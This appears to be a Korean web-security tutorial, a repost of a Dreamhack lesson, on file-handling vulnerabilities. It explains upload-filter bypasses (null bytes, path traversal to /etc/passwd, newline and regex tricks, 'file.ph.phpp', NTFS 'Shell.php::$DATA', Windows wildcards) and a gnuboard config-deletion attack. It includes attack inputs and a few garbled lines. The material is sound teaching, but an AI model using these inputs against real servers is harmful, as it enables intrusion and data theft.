
1.파일명은 대문자로만 이루어져야 합니다. 소문자는 모두 대문자로 자동 치환됩니다.

2.스페이스, ASCII 제어 문자(STX, ESC 등) 및 ASCII 외 문자 (확장 문자집합이 활성화된 경우 제외)는 모두 제거됩니다.

3.'+'와 같은 특수 문자는 밑줄 ('_') 문자로 치환됩니다.

4.파일명과 확장자는 각각 8 바이트와 3 바이트 이하의 문자열로 이뤄져야하며, 각 요소 모두 '.' 문자를 포함할 수 없습니다. Dreamhack.jpg 와 같이 고정 버퍼를 초과하는 파일은 DREAMH~1.JPG로 변환되며, Dreamhack.html 는 DREAMH~1.HTM 와 같이 변환됩니다.

5.이후 Dreamhill.jpg 와 같이 첫 6 바이트가 중복되는 파일이 생성되면 DREAMH~2.JPG 와 같이 생성됩니다.

6.서로 동일한 6 자리의 짧은 이름을 가진 네 개의 파일이나 폴더가 있을 때 파일명에 DRA4FE~1JPG와 같이 해시값이 포함됩니다.

ExploitTech: File Vulnerability cases

앞에서 파일과 관련된 취약점이 발생했을 때 읽거나 쓸 파일이 무엇이 있고, 운영 체제 특징에 대해서 알아보았습니다. 운영 체제를 비롯해 거의 모든 응용프로그램은 파일에 의존해 실행됩니다. 일부 기능은 이러한 파일에 따라서 실행되는 코드가 달라지기 때문에 다양한 방법으로 악의적인 행위를 할 수 없도록 합니다. 파일과 관련된 취약점을 막기 위해서는 응용프로그램의 기능을 모두 이해하는 것은 물론, 운영 체제에 대한 이해를 요구합니다. 소프트웨어에 대한 이해 부족으로 잘못된 방식으로 검사할 경우 의도한 기능 조차 수행되지않는 가용성 문제가 발생하거나 검사가 우회될 수 있습니다.

우회 공격

널 문자

C 언어에서 널 (NULL)은 문자열의 끝을 나타내거나 값을 초기화하는 용도로 사용하는 문자입니다. 대부분의 웹 프로그래밍 언어에서도 널 문자를 사용할 수 있으며, URL의 파라미터에 %00을 삽입해 데이터를 전송할 수 있습니다. 운영 체제에서는 파일명에 널 문자가 포함될 경우 널 문자가 위치한 곳을 파일명의 끝으로 인식합니다. 다음 표를 통해 파일명에 널 문자가 포함되었을 때 운영 체제에서 어떻게 해석하는지 알 수 있습니다.

만약 웹 응용프로그램에서 널 문자를 허용하고, 파일명의 끝에 있는 문자열로 확장자를 판단한다면 공격자는 위와 같이 실제 확장자 뒤에 널 문자를 삽입해 확장자 검사를 우회하고 악의적인 행위가 가능합니다.

아파치 등의 유명 웹 서버는 이와 같은 행위를 막기 위해 널 문자가 포함된 요청이 들어올 경우 400 Bad Request 응답을 반환하고 기능을 수행하지 않습니다. 또한, 파이썬과 PHP 등 다양한 언어에서 제공하는 내장 라이브러리에서는 파일명에 널 문자가 포함되어 있는지 확인합니다. 그러나 외부 라이브러리의 경우 이러한 검사가 이뤄지지 않는 경우가 있기에 파일을 입력받을 경우 입력값에 널 문자 또는 불필요한 특수 문자가 포함되어 있는지 검사하는 것이 좋습니다.

Path Traversal

Path Traversal은 업로드 및 다운로드 경로를 조작하는 공격 방식으로, 이용자가 업로드하거나 다운로드 할 파일을 지정할 수 있을 때 사용할 수 있습니다. 윈도우나 유닉스 계열의 운영 체제 모두 특수한 의미를 가진 디렉터리가 존재합니다. 다음 표를 통해 해당 디렉터리의 역할과 예시를 확인할 수 있습니다.

만약 웹 응용프로그램에서 위와 같은 디렉터리를 검사하지 않는다면, 공격자는 “foo/../../../../../etc/passwd"와 같이 상위 경로에 존재하는 파일에 접근해 악의적인 행위가 가능합니다.

덧붙여, 윈도우에서는 “foo\bar..\baz”를 입력했을 때 “bar” 디렉터리가 존재하지 않아도 “\foo\baz” 디렉터리에 접근할 수 있습니다. 반면에 리눅스는 존재하지 않는 디렉터리가 포함될 경우 에러를 출력합니다. 따라서 서로 다른 운영 체제에서 같은 코드로 작성된 프로그램을 배포한다면 이러한 점을 인지하고 시큐어 코딩을 적용해야 합니다.

정규식 확장자 검사

웹 서버는 파일의 확장자에 따라서 데이터를 처리하는 방식이 다릅니다. 파일의 확장자는 ‘.' 문자 뒤에 따라오는 문자열입니다. 파일명에 '.’ 문자는 어디든지 위치할 수 있으며 여러 개 포함할 수 있습니다. 다양한 값이 입력될 수 있기 때문에 웹 서버와 응용 프로그램은 확장자를 인식하는 알고리즘이 서로 다릅니다. 다음은 확장자를 인식하는 정규식의 예시입니다.

정규식 확장자 검사 우회

정규식을 이용한 검사는 확장자 뿐만 아니라 IP 주소, 도메인 주소 등을 검사할 때 많이 사용합니다. 정규식을 통해 검사할 때에는 모든 경우의 수를 고려해야 합니다. 잘못된 정규식을 작성하면 정상적인 파일도 제대로 처리되지 않는 등의 의미없는 방어책이 될 수 있습니다. 그렇다면 앞서 알아본 정규식을 살펴보며 잘못된 정규식의 예를 알아보겠습니다.

(..*)

이는 '.' 문자 뒤에 위치한 모든 부분 문자열을 찾습니다. 이는 “hello.jpg.php”라는 파일명을 처리할 때 뒤에 위치한 “.php”를 분리하지 못하고 “.jpg.php“를 하나의 확장자로 인식해 검사가 우회될 가능성이 있습니다.

(.[^.]*)

이는 ‘.' 문자 뒤에 있는 모든 부분 문자열을 찾습니다. 이 또한 마찬가지로 “hello.jpg.php”라는 파일명을 처리할 때 “.php”를 분리하지 못하고 “.jpg.php”를 하나의 확장자로 인식해 우회 가능성이 있습니다.

(.[^.]*)$

가장 마지막에 위치한 '.'을 기준으로 문자열을 찾습니다. “hello.jpg.php”라는 파일명을 처리할 때 “.php”를 찾아내지만, “.htaccess”와 같은 파일을 처리할 때는 “htaccess” 자체를 확장자로 인식하여 올바르지 않은 결과가 나타날 수 있습니다.

^.$

가장 마지막에 위치한 ‘.'을 기준으로 이후에 있는 문자열을 모두 찾고, 시작 부분에 위치한 '.’을 무시합니다. 이는 이전 정규식을 보완한 형태이지만 웹 서버가 확장자만 있는 파일명을 모두를 확장자로 인식한다면 해당 검사는 우회될 가능성이 있습니다.

마지막으로 정규식을 사용할 때 주의해야 할 점은 일부 정규식은 '$' 문자가 문자열 끝이 아닌 줄의 끝을 의미합니다. “dream.jpg\nwebshell.php”와 같은 파일의 경우 “.jpg”까지만 인식하기 때문에 이를 공격할 때 %0a를 삽입해 정규식을 우회할 수 있습니다.

문자열 치환 우회

파일의 확장자에 따라서 웹 서버가 처리하는 방식이 다릅니다. 예를 들어, “.php” 확장자를 가진 파일은 웹 서버에서 PHP 스크립트로 인식해 이를 처리하기 위한 핸들러를 실행합니다. 이와 같은 파일을 이용자가 직접 서버에 업로드할 수 있다면 웹셸을 비롯해 다양한 악의적인 행위가 일어날 수 있어 대다수의 웹 서비스는 이러한 확장자를 가진 파일의 업로드를 막거나 치환하여 스크립트의 실행을 막습니다.

“.php”라는 확장자를 가지는 파일명이 업로드 되는 것을 막기 위해 해당 문자열을 공백으로 치환한다고 가정하고, 치환 과정을 설명한 표입니다. 표를 살펴보면, 단순히 공백으로 치환하는 과정을 역으로 이용해 “.php” 문자열을 완성할 수 있습니다.

문자열 치환 코드

Figure1은 임의 확장자를 공백으로 치환하는 코드를 실행한 예시입니다. filter_ext는 첫 번째로 전달된 파일명에 두 번째로 전달된 확장자가 있다면 이를 공백으로 치환한 문자열을 반환합니다. 이처럼 단순히 공백으로 치환할 경우 결국 “file.ph.phpp”와 같은 문자열로 확장자 검사를 우회하고 공격할 수 있습니다.

Figure 1. 문자열 치환 코드

>>> import os
>>> import os.path
>>> 
>>> def filter_ext(pathname, ext):
...     return pathname.replace(ext, '')
... 
>>> 
>>> filter_ext('file.jpg', '.php')
'file.jpg'
>>> 
>>> filter_ext('file.php', '.php')
'file'
>>> 
>>> filter_ext('file.ph' + '.php' + 'p', '.php')
'file.php'
>>> 
>>> filter_ext('file.ph.phpp', '.php')
'file.php'

NTFS Alternate Data Stream

프로세스 뿐만 아니라 파일 시스템에서도 Fork 라는 개념이 등장합니다. 이는 압축한 파일과 같이 한 파일에 메타데이터를 포함한 다양한 데이터를 포함시킬 수 있습니다.

New Technology File System ( NTFS )은 윈도우 NT 계열의 운영 체제가 사용하는 파일 시스템입니다. 해당 파일 시스템에서는 Alternate Data Stream ( ADS ) 영역을 제공하는데, 이는 맥킨토시에서 사용하는 파일 시스템을 호환하기 위해 등장했습니다. 이 뿐만 아니라 파일이 필요로하는 파일의 아이콘 등 부가적인 데이터를 다른 스트림에 추가하기 위한 목적으로 탄생했습니다. 한 파일에 여러 가지 데이터를 각 데이터 스트림에 감출 수 있는 만큼 악성코드를 삽입하는데에 많이 이용되기도 했습니다.

다음 표를 통해 ADS 구문을 들여다 볼 수 있습니다.

Filename:Stream

Filename 의 스트림 Stream 을 참조합니다.

Filename:Stream:$DATA

Filename:Stream 과 같은 의미입니다.

Filename:

Filename 의 기본 스트림을 참조합니다. 곧, : 를 붙이지 않았을 떄와 과 같습니다.

Filename::$DATA

Filename: 과 같은 의미입니다.

Dirname::$INDEX_ALLOCATION

해당 파일을 쓰게 되면 파일 대신 디렉터리가 생성됩니다.
$INDEX_ALLOCATION 은 NTFS 내부에서 관리하는 디렉터리 인덱스(데이터베이스 인덱스와 유사)의 속성 타입입니다

Dirname:I30:I30:INDEX_ALLOCATION

해당 파일을 쓰게 되면 파일 대신 디렉터리가 생성됩니다.
I30은속성0x30(I30 은 속성 0x30(FILE_NAME)의 인덱스(I)를 뜻합니다.

Filename:AttrName:$AttrType

상기한 구문의 기본형입니다. NTFS 데이터 스트림은 실제로는 $DATA 타입의 속성을 의미하며, 스트림명은 속성의 명칭을 의미합니다.

NTFS Alternate Data Stream을 이용한 우회

ADS 특징을 이용해 파일 확장자 검사를 우회하고 공격할 수 있습니다. 웹 애플리케이션이 외부로부터 입력받은 파일을 검사할 때는 제일 마지막에 위치한 ‘.' 문자를 기준으로 확장자를 검사합니다. 만약 공격자가 “Shell.php::DATA.”과같은이름의파일을전달하면이는운영체제에의해.’문자가제거되어“Shell.php::DATA.”과 같은 이름의 파일을 전달하면 이는 운영 체제에 의해서 '.’ 문자가 제거되어 “Shell.php::DATA”가 됩니다. 이는 ADS에서 기본 스트림을 참조하는 구문으로, 결국 “Shell.php”가 됩니다.

와일드카드

윈도우 운영 체제에서는 FindFirstFile과 FindNextFile API를 제공합니다. 이는 파일 및 디렉터리를 탐색하고 열람하기 위한 함수로, ‘*'와 '?’와 같은 와일드카드 문자를 지원합니다.

와일드카드를 지원하는 경우에는 다양한 변수들이 발생할 수 있기 때문에 각별한 주의가 필요합니다. 해당 API들은 언급한 와일드카드 문자 외에도 문서화되지 않은 문자를 추가로 지원합니다. 예를 들어, Web<< 또는 Web"Config를 이용해 “Web.config” 파일에 접근할 수 있습니다. 실제로 PHP Zend Virtual CWD 기능에서 파일의 절대 경로를 FindFile API를 사용해 불러와 와일드카드 규칙을 적용받습니다.

와일드카드 규칙

다음은 각 와일드카드에 대한 설명과 예시를 나열한 표입니다.

파일 삭제 공격

파일 삭제 공격

파일을 업로드하고 다운로드 할 수 있다면 웹셸을 통해 서버를 장악하거나, 정보를 수집하는 등의 행위를 할 수 있습니다. 만약, 임의 파일을 삭제할 수 있는 취약점을 찾았다고 가정해봅니다. 일반적으로 운영 체제 또는 응용프로그램의 중요 정보를 포괄하는 파일을 삭제하면 서비스를 마비시킬 수 있습니다. 그러나 서비스를 마비시키는 행위 외에도 원격 코드 실행까지 이어지도록 할 수 있습니다.

일부 CMS 서비스들은 설정 파일은 특정 파일로 관리합니다. 예를 들어, 그누보드 (gnuboard)는 “config.php” 또는 “dbconfig.php 등의 파일에서 기본 설정들을 관리합니다. 해당 파일에서는 데이터 베이스 연결 정보를 포괄하고 있기 때문에 서버에서 없어져서는 안될 파일 중 하나입니다. 만약, 해당 파일이 삭제되면 데이터베이스에서 데이터를 가져오지 못하므로 그누보드에서는 Figure2와 같이 해당 파일을 생성하는 설치 페이지로 리다이렉션합니다.

이때 공격자는 설치 페이지에서 데이터베이스 연결 정보를 자신의 서버로 등록할 수 있으며, 이를 통해 이용자의 정보를 탈취하거나 다른 기능과 연계해 원격 코드 실행까지 할 수 있습니다.

Figure 2. GNUBOARD 5의 common.php

// https://github.com/gnuboard/gnuboard5/blob/f83d336e0ba0b06e1b3b2886c4783049c65b2f08/common.php#L148-L199
$dbconfig_file = G5_DATA_PATH.'/'.G5_DBCONFIG_FILE;
if (file_exists($dbconfig_file)) {
    include_once($dbconfig_file);
    include_once(G5_LIB_PATH.'/common.lib.php');    // 공통 라이브러리
    $connect_db = sql_connect(G5_MYSQL_HOST, G5_MYSQL_USER, G5_MYSQL_PASSWORD) or die('MySQL Connect Error!!!');
    $select_db  = sql_select_db(G5_MYSQL_DB, $connect_db) or die('MySQL DB Error!!!');
    $g5['connect_db'] = $connect_db;
    sql_set_charset(G5_DB_CHARSET, $connect_db);
    if(defined('G5_MYSQL_SET_MODE') && G5_MYSQL_SET_MODE) sql_query("SET SESSION sql_mode = ''");
    if (defined('G5_TIMEZONE')) sql_query(" set time_zone = '".G5_TIMEZONE."'");
} else {
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>오류! <?php echo G5_VERSION ?> 설치하기</title>
<link rel="stylesheet" href="install/install.css">
</head>
<body>
<div id="ins_bar">
    <span id="bar_img">GNUBOARD5</span>
    <span id="bar_txt">Message</span>
</div>
<h1>그누보드5를 먼저 설치해주십시오.</h1>
<div class="ins_inner">
    <p>다음 파일을 찾을 수 없습니다.</p>
    <ul>
        <li><strong><?php echo G5_DATA_DIR.'/'.G5_DBCONFIG_FILE ?></strong></li>
    </ul>
    <p>그누보드 설치 후 다시 실행하시기 바랍니다.</p>
    <div class="inner_btn">
        <a href="<?php echo G5_URL; ?>/install/"><?php echo G5_VERSION ?> 설치하기</a>
    </div>
</div>
<div id="ins_ft">
    <strong>GNUBOARD5</strong>
    <p>GPL! OPEN SOURCE GNUBOARD</p>
</div>
</body>
</html>
<?php
    exit;
}
profile
개발/보안

0개의 댓글